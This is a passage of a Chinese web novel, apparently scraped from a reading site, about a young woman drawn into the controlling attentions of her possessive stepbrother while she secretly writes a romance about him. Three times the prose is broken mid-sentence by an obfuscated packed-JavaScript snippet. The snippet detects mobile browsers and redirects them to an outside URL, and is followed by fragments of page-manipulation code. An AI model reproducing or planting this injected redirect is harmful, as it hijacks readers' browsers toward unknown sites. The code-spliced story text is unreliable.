介于少年与青年之间,俊朗而又温和。 有生之年她第一次听到有人会将“妹妹”两个音节,说得如此动听。 在她的刻板印象中,大多数重组家庭的孩子要么彼此冷漠,要么抱有敌意,很少会有和谐相处的,即使有,大概也只是在长辈面前装模作样。 但周以慎都不是,他的善意散发得如此自然而然。 她从来没有过哥哥。 也是第一次,觉得有个哥哥似乎是件挺不错的事。 来到周家的第三天晚上,韶真失眠了。 她打开房间的窗,夏夜的晚风扑了进来,带着院子里的花香与蝉鸣。她细条条的手臂搭在窗台上,一低头,看到花园里藤蔓缠绕的秋千。 一个念头悄然萌生。 她趿拉着拖鞋小心翼翼地下楼,不敢发出声响。 风掀起她纯白睡裙的一角,她坐在秋千上,小腿一下一下地晃荡,沉浸在此刻的宁静中,甚至没有发觉何时有人靠近。 直到那人出声,嗓音低低地询问她:“睡不着吗?” 她心跳突得一下,看清楚来人后,才轻而又轻地点了点头。 “那哥哥陪你聊会天。”周以慎站在秋千一侧,稍稍推了下秋千的绳索。 晃动的幅度并不大,韶真仰头注视着他,问出心中疑惑:“哥哥,你为什么这么……” 停顿半天,她想不出形容词,只能干巴巴接了一个字“好”。 “因为,我一直都很想有一个妹妹。” 周以慎看着她笑眼弯弯,很亮,浸着一层月光,又或许,他的眼睛就是月亮本身。 她看得呆住,一时不知道该说什么。 他于是又问她:“高三了,想好考哪所大学了吗?” 韶真回过神,答道:“还没有。” 周以慎半眯起眼,唇角的笑意一点一点扩大,问她:“要不要和哥哥一起去英国留学?” 没有任何心理准备,他向她抛出了橄榄枝。 这是她从未考虑过的,她不想离开母亲远渡重洋。 韶真慌张地站起身,磕磕巴巴:“哥哥,我……困了,我先……回去睡觉了。” 她不知道,在她离开后,身后的人站在原地凝望着她的身影消匿在门后,久久未动。 8. 妹妹 码完第一章已经是凌晨两点了。 韶真检查了一遍错别字,然后从码字软件切换到小说网站。作者账号是她大学时期注册的,完结过一本小说,但由于当时文笔稚嫩,并没有引起什么水花。 她点击创建新文,编辑过文案后,在作品名称这一栏停顿住。盯了电脑屏幕有十多秒,食指在键盘上有一搭没一搭地敲。 最终,她缓缓输入了两个字:暗潮 这种在亲缘的外衣之下,缓缓流淌的情愫,如同暗潮。 发表完第一章,韶真合上笔记本。 后半夜睡得很沉,隔天是周六。她现在也没有什么工作日和休息日的区别,照例一觉睡到中午。 洗漱完到客厅时,看到露台上有一抹高挑身影,低着头在给绿植浇水,动作闲散。 “哥,早……”韶真卡了下壳,意识到已经是中午了,她改口:“中午好。” “嗯。”周以慎浇完水,朝她走过来,口吻似闲聊般随意:“昨晚说要写网文,进度怎么样了?” 她昨晚提过的事情,他今天问了下,也不过是很寻常的关心。韶真丝毫不慌地回答:“只写了第一章。” 周以慎笑笑,语气半是夸赞半是鼓励:“刚说完就开始写,执行力挺强的啊。” 因为性格比较咸鱼,韶真很少被人夸赞执行力强。她稍稍有点不好意思,抿了抿唇,发自内心觉得周以慎真的是个很不扫兴的人,总是能在他这里得到正向的反馈。 她想谦虚一下,又听到周以慎问:“写得是什么类型?” 他垂眸望向她,背光而立的缘故,让人分辨不出眼底的情绪,只是觉得,被这样看着时所有细微的表情都无所遁形。 韶真心跳蓦地快了一拍,被问得有些心虚,又怕被看出端倪,于是强装镇定地说:“就是普通的言情小说。” 她牵了牵唇角,“总之,哥你肯定不会对这种类型感兴趣的。” 她根本不敢多说,只一味地搓着手指,缓解紧张。 周以慎的目光从她的面容缓缓移到手指尖,若有所思地停顿了下,而后笑起来,语调慢悠悠的:“你怎么知道我不感兴趣呢?” 韶真怔住,脑中一片空白。 空气出现了短暂的凝滞,沉默更显得她心里有鬼,可此时此刻,她确实不知道该怎么回答。 她的反应完全被周以慎看在眼里。 他的好奇心被勾起来,所以到底是写得什么类型的小说,让妹妹连被问起都会如此紧张。但他并不打算继续追问,担心会消耗掉她的创作热情。 “不想分享也没关系。”他不在意地笑笑,仿佛是揭过这个话题,随后问她:“中午想吃什么?” 韶真暗自松了一口气。 后知后觉地开始懊恼,刚刚自己反应太大了。但幸好,就算她表现出异样,周以慎也绝对不会联想到骨科这方面。 毕竟,有哪个正常人,能猜到妹妹会以他为原型写一本兄妹文。 韶真轻轻地调整呼吸,小声说:“都可以。” “那我就看着做了。” - 中午吃饭间隙,周以慎接了一通电话。 他倒没避着她,反而是韶真听别人打电话会不自在,有种探听别人隐私的感觉,虽然对方可能并不介意。 但她还是摆出对通话内容毫不关心的样子,低着头一个劲地扒拉菜吃。 周以慎挂断电话后,没有动筷,垂眸盯了她看了几秒,调侃:“这是担心我晚上不回来,没人做饭,现在多吃几口?” 就这样面对面坐着,即使韶真不刻意听,他的通话还是一字不漏钻进她耳朵。大致可以猜出是有人晚上约周以慎出去,而他也同意了。 “不是……”韶真随口找了个理由,“是因为哥哥做得饭太好吃了,一时忍不住,就吃得快了点。” 似乎是被这句话取悦到,周以慎尾音带着笑意:“那你今晚吃不到的话,会不会难受到彻夜难眠?” 韶真:“……” “倒也不至于。”说得好像她多没出息似的,再怎么样,她搬回江城后也独立生活了一个多月,不至于连晚饭都不能自己解决。 “我晚饭自己做就可以,你放心出去就好。” “做什么?” 怎么问这么仔细? 韶真唇线绷直,好一会儿,从唇缝里露出俩字:“泡面……” 她回答的时候,睫毛在轻颤,看上去很难为情的样子。周以慎单手支着下颌,盯着看了会儿,慢条斯理地说道:“可是我放心不了。” 韶真缓缓抬头,拧了下眉。 这有什么好不放心的,她又不是小孩子。而且泡面她经常在吃,也没觉得有什么问题,怎么到了他这里,居然会因为她说要吃泡面而不放心。 韶真不解,用眼神询问他。 “我的意思是……”他用漆黑湿润的眼眸注视着她,声线轻而缓:“要不要和我一起去?” “啊?可是……”韶真没料到他发出邀请,犹豫了下说:“那是你的朋友。” “可是……”周以慎学她的语气,故意停顿了下,才不紧不慢地接道:“你是我的妹妹。如果你愿意,我可以介绍我所有的朋友给你认识。” - 韶真也不知道她那刻想得是什么,可能是他的话,太能给人底气。就好像,即使没有血缘,他们之间也确切存在着兄妹般独特的联系。 鬼使神差,她真答应了。 答应完,她趁下午时间又码了会字。晚些时候,打算收拾一下,才发现她带的衣服都太日常随性,没有一件稍微正式点的。 她在衣帽间仅有的几件中挑挑拣拣,最后拎出米白色毛衣和浅色牛仔裤。 她拎着衣服在书房前踌躇片刻,敲响了门。 “哥,我穿这身去,会不会显得太幼稚?” 周以慎合上手里的财经周刊,望过去。她就站在门口,也不往里进,一副话说完转身就走的样子。 他没来由想笑。 认真地审视了一遍她拎着的衣服后,他没回答,弯着唇反问道:“那什么算成熟?你生日那天穿得那套吗?” 话音落,他眼尾微挑,似是在回想她那天的穿搭。 韶真也难免的,被这话勾起回忆。 老实说,她那天是有在裙子外边穿了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144236|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大衣的,很长能裹到脚踝的那种。只不过到酒吧之后就把大衣脱掉了。 她原先想得是,等周以慎来,她出去拿礼物的时候再穿上。只是没料到,事情的发展并不按她预想的来。 短暂分神过后,韶真顺着他的话说:“那套算吧。但那套衣服在家里,现在回去拿时间不够了。” “你还真想穿那套?” 韶真不理解他为什么这种语气。 她说:“不是你说的吗?” 周以慎对上她困惑的眼神,沉默半晌,像是败下阵来,无奈地笑了声。 “原则上,我不应该干涉你的穿衣自由,但……”他想说什么,又觉得不合适,话到嘴边又换了一套说辞,“那不是什么重要场合,穿得随性些就可以。如果你觉得手里那套幼稚,我们现在可以去商场重新挑。” 逛商场、试衣服,再马不停蹄地去参加聚会。 时间紧凑到光是想想,韶真都觉得好累。 既然他说不是什么重要场合,她也就不再纠结:“不用了,就这套吧。” 换好衣服出门前,韶真才发现周以慎也穿得很随意,黑色圆领毛衣配了条宽松的深灰色裤子。 果然,真不是什么重要场合。 去的路上,是周以慎开车。 他简单跟她说了下,组局的人是他在英国留学时的朋友,叫陆叙,是江城本地人。前两天刚回的国,这次聚会权当是接风洗尘宴。 车驶了二十多分钟,到郊区。 独栋别墅灯火通明,在夜色中格外扎眼,自窗户溢出的不止是光,还有乐队的演奏声。韶真望过去,不自觉地想起以前,她到周家的第二年,也参加过类似的宴会。 那时候周以慎已经去了英国。 邀请函送到周家时,周叔叔笑着跟她说:“去玩玩看,同龄人应该很多,多交些朋友。” 盛情难却,她答应下来。 那场宴会给她最深刻的印象就是冷淡。 也第一次意识到,不是一个圈子的是融不进去的。整场,除了有个女生来问她周以慎什么时候回国之外,再没人主动跟她交谈。 因为周家,她拿到宴会的入场券,但却没人会把她当周家人看待。 虽然周叔叔是出于好意,但从那之后,韶真再也没参加过这种宴会。 回忆随着周以慎停好车而中断。 韶真解开安全带下车,步伐无端有些慢。才和周以慎错开两步距离,他就停下来等她。似有察觉般,他说:“不用太当回事,要是等下觉得不自在,我们就回家。” 袖口之下,韶真手掌悄无声息放松下来。 她跟在周以慎身侧,走进去。 里边已经到了挺多人,男男女女聚在一起,满屋子酒气混杂着嬉笑与演奏乐,沸反盈天。人群里有人望过来,而后推了推忘我高歌的男人。 陆叙本来被人推了下挺不爽的,但在看到周以慎后,那一点情绪烟消云散,他直接把话筒扔给旁边人,迎上去。 “Eash……”在英国喊习惯了,陆叙一开口叫得就是周以慎的英文名,而后目光落在他身侧的女生,说道:“铁树开花了呀?” 9. 妹妹 韶真目光不动声色环视了圈,满屋子年轻男女皆是盛装出席,相较之下,她和周以慎穿得就像是晚上吃完饭下楼遛弯似的。 就挺格格不入。 陆叙视线在两人身上来回看,像发现什么新奇事,脸上挂着笑:“还别说,真挺般配的。” 周以慎淡淡睨他一眼,“这是我妹。” 他介绍她时,将名字咬得极清晰,“韶真。” “哦……”陆叙恍然大悟,在英国时听他提起过,家中有个异父异母的妹妹。 他从善如流地改口:“原来是妹妹呀,我就说嘛,一脸般配的兄妹相。” 都没有血缘关系,哪来的兄妹相。 韶真忍不住想笑,觉得这人怎么胡诌起来也如此自然。她余光悄悄观察周以慎的神色,这么离谱的话,他却好像品出几分道理,淡然地笑着。 察觉到她在观察,他低了低睫目光与她对上时,慢悠悠地挑了下眉梢。 有种旁若无人的亲昵。 但他事先介绍过身份,倒没人会多想什么。 陆叙自来熟地叫韶真:“阿韶妹妹。”他嚷着说要给她介绍几个新朋友。 韶真对他的热情有些不知所措,她愣愣地“啊?”了声,仰头看向周以慎。 反应像是在等家长的许可。 周以慎没说话,就那样安静看了她几秒。 看着她在陌生环境里,下意识地只会看向他,他喜欢这样的眼神,带着浓烈的依赖感。 他眼皮一掀,问陆叙:“什么朋友?” “都是女孩子。”陆叙笑着说,“这不是怕阿韶妹妹会无聊嘛,毕竟,你也不能一整晚都把她绑在身边吧?” 周以慎哼笑了声,对这话不置可否。 偏过头看着韶真,话音透着点懒散笑意:“玩去吧,什么时候想回家了来跟我说。” 陆叙埋怨道:“Eash,不带这样的,刚来就惦记着回家了。”但转脸又洋溢着笑,领着韶真往那边的女孩堆里。 几个女生围着坐了一圈在喝酒,其实从两人进来时,她们就注意到了。在英国的留学圈子里,周以慎算是塔尖上的那一拨,因此认识他的人挺多。 但真正令人好奇的,是跟他一同进来的女孩。 一身再日常不过的穿搭,还顶着一张干干净净的素颜。任谁都会狐疑,这真不是走错的?但偏偏,她旁边的周以慎穿着与她如出一辙般。 染着红色波浪发的女生打量韶真片刻,勾着唇问陆叙:“这位是?” “韶真,是Eash他妹。”陆叙端起桌上的酒杯跟她碰了碰,随即又看向韶真:“这是宁晩,等下让她带着你一起玩。” 简单介绍过后,不知道是哪拨人在喊陆叙,他应了声,无奈地耸耸肩,对韶真说:“阿韶妹妹,我倒是想陪你多玩会,但今天是东道主,分身乏术呀。要不改天我单独约你?” 这种轻浮的话,他像是信手捏来般,韶真没见过这种阵仗,一噎,不知道该怎么回答。 宁晩看见他这样就烦,“沉默就是拒绝,人妹妹不直接说是给你台阶下呢,识趣就赶紧走。” 陆叙倒也不恼,挥了挥手,“我走了,阿韶妹妹。” 宁晩对着他背影“嘁”了声,看向韶真又换了副面孔,手一伸,拉着她坐在身边,弯着一双眼睛问:“妹妹,你看着好乖,还在上学吧?” 韶真不是外向的人,再加上之前在宴会上被冷落的经历,如同给她笼了层淡淡阴影。 她有些拘谨地坐着,一双手掌工工整整地搭在膝盖上,回答道:“去年刚毕业。” 她越这样,越是看着乖得不行。其余几个女生也凑了过来,有人问她:“Eash现在还没有谈女朋友吗?” 果然,还是避免不了被问到与周以慎相关的问题。受到别人的关注,对他来说就好像是最轻而易举的事。 韶真仔细回想了下,那天送她生日礼物时,他说得话还挺像暗示是单身,而且他的住处也是好没有其他女生居住过的痕迹。 “没有……”对于哥哥的感情状况,她不敢回答得太确定,慢了半拍又加了个“吧”字。 问话的女生叹息了下,“他怎么这么难搞定,我之前还以为他这种温和的人,很好追呢。” “好追?”宁晩接过话茬,跟听到什么笑话似的,哼了一声,“你不觉得他的温和永远都是点到为止,很疏离的那种吗?” 韶真听着这句话,不太确定这真是在说周以慎。她默默想:好像也没有很疏离吧? 宁晩继续说:“无论是从外貌、家境还是个人能力来看,他都完美到无可挑剔。但就是这么个完美的人,居然这么多年都没谈恋爱,很难不让人怀疑是不是有什么不可告人的秘密……” 她说得一副煞有介事的样子,眯了眯眼,看向在场最有可能知道真相的人。 韶真睫毛忽闪了两下,看看左边,又看看右边,在几道期待的目光中弱弱地说了句:“可能是因为……不想谈吧。” 宁晩被她这反应逗笑。 之后也没再继续关于周以慎得话题。几个女生一块玩起了游戏,输了喝酒。 大概是时运不济,几局下来韶真一次都没赢。 虽然大家都没为难她,每次只倒了浅浅盖过杯底的酒,但架不住韶真一直输。积少成多,她真怕自己喝醉了做出什么丢脸的事,于是借口有点闷要出去透透风。 - 周以慎随意地掀开一张扑克,看了眼点数,神色波澜不惊。他抬了抬眼,这个位置很好的能观察妹妹的一举一动。 他看到,她在跟那群女生聊天,至于什么内容不得而知,只知道她从一开始的局促渐渐放松下来。 她还和她们一起玩了游戏。 似乎一直在输,喝了一杯又一杯的酒。 细白的手指握住玻璃杯,仰头喝下时喉咙起伏的弧度,酒精上头而泛红的脸颊。 她醉了吗? 好像没有,她站起身出去时,步伐仍旧很稳。 周以慎忽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144237|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,对旁边人淡声说了句:“你替我玩。” 牌还没开就要走。 陆叙开玩笑道:“你什么时候成输不起的人了?” 周以慎没理会他,经过一众身影,推开门走了出去。 替他玩牌的男人坐到桌上,看了眼手里的牌,眼中闪过诧异,最大的点数,是必赢的牌局。而他居然毫不在意,连打完这一局的时间都不愿意多等。 男人揭开手里的牌,疑惑他到底是不在意牌,还是有更在意的事。 - 韶真坐在院子里吹着初春的夜风,蓦地,一个身影从后边笼住她,她下意识回头。 因为坐着的缘故,她看着他时,头仰得很高,莫名有一股虔诚劲,“哥,你怎么出来了?” “来找你。” 周以慎抬手替她拢了拢被风吹乱发丝。 在他手靠近的一瞬间,韶真最先闻到的是一股淡淡的柑橘味,和她浴室里的沐浴露一个味道。 像是阳光充沛的盛夏。 在帮她把发丝别到耳后时,他的指腹触碰到她耳廓,很轻,有一点痒。 韶真不自觉地眨了眨眼睛,她没多想,以为他只是不经意碰到。 轻微的触碰,像是某种尝试。 周以慎欣赏着她颤动的长睫,仿佛石子丢进水里激起的连锁反应。他饶有兴趣地弯起唇角,继而问她:“怎么一个人在这里?不好玩吗?” 韶真不想说因为自己一直在输,感觉有点丢脸。她还用刚刚说过的借口,回道:“不是。只是有点闷,出来透透气。” “闷吗?”周以慎停顿了下,眼里含着笑,“我还以为是没有男模陪酒,你不尽兴呢?” 韶真:“……” 怎么还反复鞭尸啊! 她张了张嘴,想要再解释一遍。 周以慎在她开口之前轻声道:“是在开玩笑。” 他垂眸看着她,又问:“不想喝酒的话,要不我们回家?” “我们好像才来了没多久。”韶真有一点犹豫。其实她挺喜欢今晚的氛围,遇到的人都很好相处。 她问:“要不我们等到十点半再回去吧?” “怎么还有零有整的?” “十点太早,十一点又有些晚,就取个中间值。” 其实十一点对韶真来说并不算晚,通常这个点她还没开始有困意。但她想到下午写了一半的小说,打算等下回去再把后半章写完。 想到小说内容,韶真把眼眸低下去,站起身若无其事地说:“哥,我们进去吧。” 后半程,宁晩那群人倒没有再拉着韶真玩输了要罚酒的游戏,几个女生聚在一起聊天。反倒是陆叙哪拨人不玩扑克开始喝酒了。 周以慎没喝太多,掐着点,到十点半,他准时和东道主道了别。 陆叙抱着酒瓶,笑道:“Eash,你是什么时候变成妹控的?” 变成吗? 周以慎索然地笑了笑。 或许他本来就是。 10. 妹妹 周以慎喝了酒的缘故,回去时是代驾在开车。 代驾是个中年大叔,这种情况下,韶真觉得坐在副驾会有点不自在。于是她拉开后座车门,坐了进去。 下一秒,后排另一侧的车门也被拉开,韶真闻到酒气混合着很淡的柑橘味。她一时分不清是是周以慎身上的味道,还是她的。 后排座位挺宽敞,两人中间还隔着挺宽松的距离。韶真歪着头看他,估计是喝了挺多酒,从坐进来后就靠在椅背上一言不发,眼轻轻阖着。 应该是醉了吧? 但脸又没有泛红,可能是有些人天生喝酒不上脸。 韶真很有不打扰他的自觉,安静地偏过头,看向车窗外的夜景。她虽然也喝了些酒,但没醉。她清楚自己的酒量,出于安全考虑,通常情况下都不会允许自己喝醉。 街景一帧帧后滑,倏尔,她觉得右侧肩膀一沉,下颌骨的位置有绒毛一般的触感。 呼吸停滞,韶真整个人僵住,她不敢动,只是慢慢地转动眼珠。余光里,只能看到他柔软的发,轻阖的眼睫,以及鼻尖。 看样子睡得很沉。 韶真内心纠结要不要叫醒他。 可转念一想,这只是睡着后无意识的动作,她要是叫醒他,反而会徒增尴尬,况且剩下的路程还有十多分钟,说不定他过会儿就换姿势了。 她没有动作,轻轻调整着呼吸,又将目光移向窗外,尽量忽略肩上的重量。 车内昏淡的光线中,周以慎耷拉着眼皮看她攥紧的手掌。他清楚地感知到她整个身体都处在很紧绷的状态,大约是有过犹豫的,但最终没有任何动作。 他在装睡,但她没有叫醒他。 真是个乖孩子。 周以慎无声地勾了勾唇,轻嗅她衣领上与他如出一辙的柑橘味道。在车子驶进江湾壹号时,他才终于偏过头向另一侧,动作自然到仿佛真的是换了个姿势睡觉。 韶真如蒙大赦般松了一口气。 庆幸刚刚没有叫醒他,否则不止她会尴尬,作为哥哥却睡着靠在妹妹肩头的周以慎,也会为此感到不好意思吧。 现在正好,她可以当作无事发生。 视线一暗,车驶进地下停车场。 代驾停好车后,下车离开。 韶真原本想直接下车,但她看到周以慎靠在椅背上,还没有醒。喝醉了睡着就是不太容易醒,她能理解。 想了想,她抬手拍了两下他的肩膀。 力道有些重,其实她私心里也掺杂了点报复,谁让他刚刚枕得她肩微微发麻。 “哥,到家了,醒醒。” 周以慎撩起眼皮,在她的手掌落下来时,比起力度,他更先感觉到的,是掌心隔着一层布料抵在肩部的骨骼上。 四周昏暗,他借着车内一盏顶灯与她对望。可能是装醉上瘾,他哑声问道:“哪个家?” 韶真眉心微拧。都睡一路了,还没醒酒,这是喝了多少?她语气略无奈地回:“你在江湾壹号的家。” “这是我的家不是你的家吗?” 单凭语气听不出多少情绪,而且他喝醉了,问出的问题不合逻辑也正常。韶真想也没想,就回他:“当然不是,我只是暂住,我有自己的家。” 她说完这句话,空气出现了短暂的沉默。 周以慎脸上没表情,只一双眼睛盯着她看。 她在说这句话的时候,没有任何的思考和犹豫,完全是下意识的回答,也就是说,这是她内心的真实想法。 在她心里,楚河汉界,划分的清清楚楚。 周以慎忽然觉得装醉的游戏索然无味,但又不甘心就这么结束。 韶真被看得不自在。 她只是陈述事实而已,周以慎为什么这副表情?她不是不知道自己的话里带了点生分的意味,可她只是刚到他这里住了几天,要是说出“也是我的家”这种话,才是真的厚脸皮吧? 韶真自认为回答并没有什么问题,见他没再说什么,她手搭在车门内拉手上,打算下车。 还没等她有所动作,就听到清脆的“咔哒”声,是车门被锁定的声音。 韶真错愕地看向周以慎,“哥?” 周以慎手指勾着车遥控钥匙,闲闲地晃了两下,低笑出声。反正在妹妹眼里,他现在喝醉的状态,那无论做什么,都可以用这个理由来解释。 “这不是在周宅,是在我的房子,你是我的妹妹,你可以把这里当成自己的家。”他停顿片刻注视着她,语调很低:“妹妹,你为什么不愿意依赖我?” 为什么不可以像依赖真正的哥哥那样依赖我? 韶真搓了搓手指尖,她想不通,为什么平日里温和的哥哥,喝醉之后,会如此较真这个没什么意义的问题。 她不想跟喝醉的人计较,更不想在车里耗着,于是她扯了一抹笑,顺着他说道:“我当然依赖你了,不然我也不会到你这里借住。很晚了,我们回去吧。” 她眼神点了点车门,示意他把门打开。 周以慎没动作。 他说:“我不要你依赖我。” “啊?” 韶真睁大眼睛,心想,果然喝醉的人反复无常,一会儿要一会儿又不要。 但下一秒,她又听到一句。 “我要你,只依赖我。” - 真正打开房门回去时,已经临近晚上十二点。 韶真不知道要说什么,周以慎也很沉默,她猜想估计是酒劲过了,之后就是各回各的房间洗漱睡觉。 韶真没急着睡觉,坐在床上又拿出笔记本开始码字。几句话删删改改,莫名进入不了状态,她心里腾起一阵烦躁。 这时,门被敲响。 韶真心跳跟着快了一瞬,连忙心虚地合上电脑,趿拉着拖鞋去开门。 周以慎站在门外,手里端着一杯牛奶。头发只吹到半干,发尾湿漉漉地垂着。 “你今晚好像没吃太多东西,喝杯热牛奶再工作或者休息。” 写小说被他说成是工作,很重视的称呼。 韶真双手接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144238|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说:“谢谢哥哥。” 她猜测,他现在已经完全酒醒了。估计给她送牛奶只是借口,真正目的是过来解释一下刚刚酒后胡话。 韶真已经做好准备,装作若无其事的样子说不会放在心上。 但周以慎并没有,他只是轻笑了下,说:“早点休息。” 韶真一愣,慢半拍才说:“哥哥晚安。” 门又重新合上,她趁热将牛奶一饮而尽,坐回床上时,脑海中稍稍有了些灵感,她迅速抓住,在屏幕上敲下一段文字: “哥哥对她很好,但那时的她并不明白,哥哥很渴望有一个妹妹,无论是她,还是其他人,都没有什么不同,他只是想要一个妹妹。” - 隔天仍旧是休息日,韶真睡到中午起来时,周以慎在厨房做海鲜饭。其他肉类冷冻的口感也大差不差,但海鲜不同,一定要早上去挑选最新鲜的,口感才最佳。 挑选、清洗、处理、烹饪,每一个步骤他都亲力亲为。耐心是他最不缺乏的东西,从年幼时期他就习惯等待。 吃饭时,周以慎闲聊的口吻问她:“昨天晚上认识的新朋友怎么样?” 韶真回想了下。 再度进去时她们基本都在闲聊,后来不知道是因为哪句话,宁晩忽然问她“你是江城人吧?”,她点点头。 三言两语,又聊到高中,两人都在江城一中,宁晩是大她三届的学姐。就这样,两人加上了微信,宁晩说有空约她玩。 “挺好的。”她说,“还加了宁晩姐的微信。” 他状似不经意地又问:“还有其他人吗?” “没有了。” 周以慎略一抬眉,得到想要的答案,他没再继续这个话题。转而观察起她优先吃完了碗里虾仁和蟹肉,其次是鱿鱼和海参吃了一多半,而三文鱼只吃了一口。 她不喜欢吃三文鱼。 之前问过她有什么忌口,她说没有。 但实际上,人是不可能对所有的食物都没有任何挑剔的,她只是没发现,并不代表没有。 他想,以后可以将三文鱼从食谱中剔除。 韶真看着碗里剩下的三文鱼片,她是第一次尝试,实在不习惯这个口感。但秉持着对食物的尊重,外加觉得剩饭不太礼貌,她打算勉强一下。 “不想吃的话就倒掉,没什么的。”周以慎伸手示意她把碗递过来。 韶真微怔,递过去的同时不忘解释一下,“我只是不太喜欢这个口感,并不是你做得不好吃。” “嗯。”周以慎无所谓地笑笑,对于这种无关痛痒的小事,甚至连包容都谈不上。他将食物残渣倒掉,碗放进洗碗机。 “对了,我让人下午送了点衣服给你。” 是因为她昨天出门前纠结过可以选的衣服太少了吗? 但她并不缺衣服,只是有一些在家里没拿过来而已。 韶真找了个委婉的理由:“我又不怎么出门,穿得到的场合太少了。” 周以慎微微一笑,“你可以在家穿。” 11. 妹妹 韶真未免觉得好笑。 在家穿给谁看呢? 只要不出门,她更热衷于穿舒适的居家服。但是周以慎已经这么说了,人在屋檐下,不能太不识好歹。 大不了就先挂在衣帽间里,她走得时候也不带走,随他怎么处置。 韶真没再拒绝,朝他笑了下:“那就谢谢哥哥了。” 她以为可能就几件衣服,毕竟他那会的语气很轻描淡写,说的是“送了点”。 所以在看到涌进来十几号人穿着不同品牌的工装,手里提着盒子,手臂上挂着套了好几层防尘袋的衣服时,韶真眼中闪过讶然。 原本空空荡荡的一方衣帽间,几乎瞬间有被塞满的势头。 她没见过这种场面。 虽然之前在京州时,周叔叔也待她不错,物质上从不缺乏,但分寸感让她从没有大手大脚花过周家的钱。 更不要说像这么……奢侈。 她倍感压力地转过脸,却看到周以慎站在她身后距离不远的地方,他唇角挂着浅淡的笑,目不转睛地看着她。 那种眼神韶真觉得似曾相识。 记忆里,她参加学校的文艺汇演,陈怡会给她准备漂亮的衣服,画一个好看的舞台妆,然后站在台下望着她时,也是这样的眼神。 像是在欣赏一件亲手打造的艺术品。 “大多都是你平常穿得休闲款式,也有……”周以慎停顿片刻,声音低了下来,“你生日时穿得那种风格。” 韶真想解释那种风格是她第一次尝试,为了拍照出片,但又觉得说出来多此一举。 她深呼吸,说:“这有点太多了……” “多吗?”周以慎敛眸,自问自答,“我只是想让你多一些选择,你不是很在意拥有选择的权利吗?” 韶真确实认为,有选择权对她来说是很重要的事情,可周以慎说这话,总让她觉得不对劲,但具体是哪里她说不出来。 她眨了下睫毛,妥协般:“好吧。” 周以慎盯着她的样子,眼底漫上点笑意。 他确实给了她选择,在无关痛痒的小事上,比如,衣服的风格。但在是否让人送来衣服上,是由他来决定的。 甚至是,更早的时候。 他在酒店遇见她,他说“选择的权利在你”。意料之中她拒绝了搬过来住,当天晚上,他给陈姨拨去了电话。 他确实可以给她选择权,但如果她的答案不是他想要的,他不介意做些什么让她改变选择。 衣帽间的白炽灯很亮,周以慎望过去,那些衣服就好像是种植小玫瑰需要的肥料,除此之外,还有需要土壤、阳光、水分,以及精心呵护。 他的露台上有很多的植物,但是缺少一株珍贵的、只属于他的小玫瑰。 当天晚上,韶真打开笔记本电脑,文思泉涌般写下新的章节。 在这一章的最后,她这样写道:他像是打扮芭比娃娃一样,把新衣服塞满了妹妹的衣橱。 - 周一上午,周以慎处理工作的间隙,听到助理来汇报:“周总,有位叫陆叙的先生来找您,但是没有预约。” 周以慎没抬头,淡声道:“让他在休息室等我。” 二十分钟后,周以慎处理完手头工作,走进一墙之隔他的专属休息室。 陆叙坐在沙发上百无聊赖玩着手机,“大忙人,可算来了。” 周以慎挑眉,问:“什么事?” 能让一向没耐心的陆叙,专程来找他,等了二十多分钟。 “也不是什么大事。”陆叙笑眯眯的,酝酿着该怎么开口。他语气带了点讨好意味,“就是,那天晚上玩得太嗨了,都忘记问阿韶妹妹要一个联系方式了。” 陆叙继续说:“所以我今天专程跑这一趟,想让Eash你帮忙牵个线……” 他话没说完,敏锐地察觉到周遭气压似乎低了些,而周以慎一张脸面无表情,目光沉沉地盯着他。 陆叙被看得心里发毛:“怎么这副表情啊,我是很有诚意的。怎么说我们也是好几年的朋友,你知道的,我虽然有时候油嘴滑舌了点,但对待感情还是很认真的……” 如果知道他来是为了这个目的,周以慎根本不会让他踏进公司的门。 不想再听废话,周以慎态度冷淡:“我不会给你她的联系方式,你走吧。” “别呀……”陆叙试图说动他,“反正阿韶妹妹早晚都要谈恋爱嫁人的……别用这种刀人的眼神看我,我说得是事实。” 在国外这几年,两人算是关系比较近的朋友。陆叙自认为比起圈子里那些纨绔子弟,他算是个比较靠谱的人。 他想追阿韶妹妹,没道理Eash会如此不悦。 早晚都要谈恋爱嫁人。 周以慎将这句话翻来覆去思忖几遍。在此之前,他从来没有考虑过这件事情,陆叙倒是提醒了他。 他微不可察地扯了扯唇。 是该为此想一个应对之策。 仿佛情绪到达一个临界点,会触底反弹。 周以慎忽地笑了笑,玩味的语气问:“这和你有什么关系?” 见他态度似有缓和,陆叙以为有商量的余地,他忙说,“最起码我这人知根知底,把妹妹介绍给我,你也放心不是?” “说完了?” 陆叙迟疑地“嗯”了下。 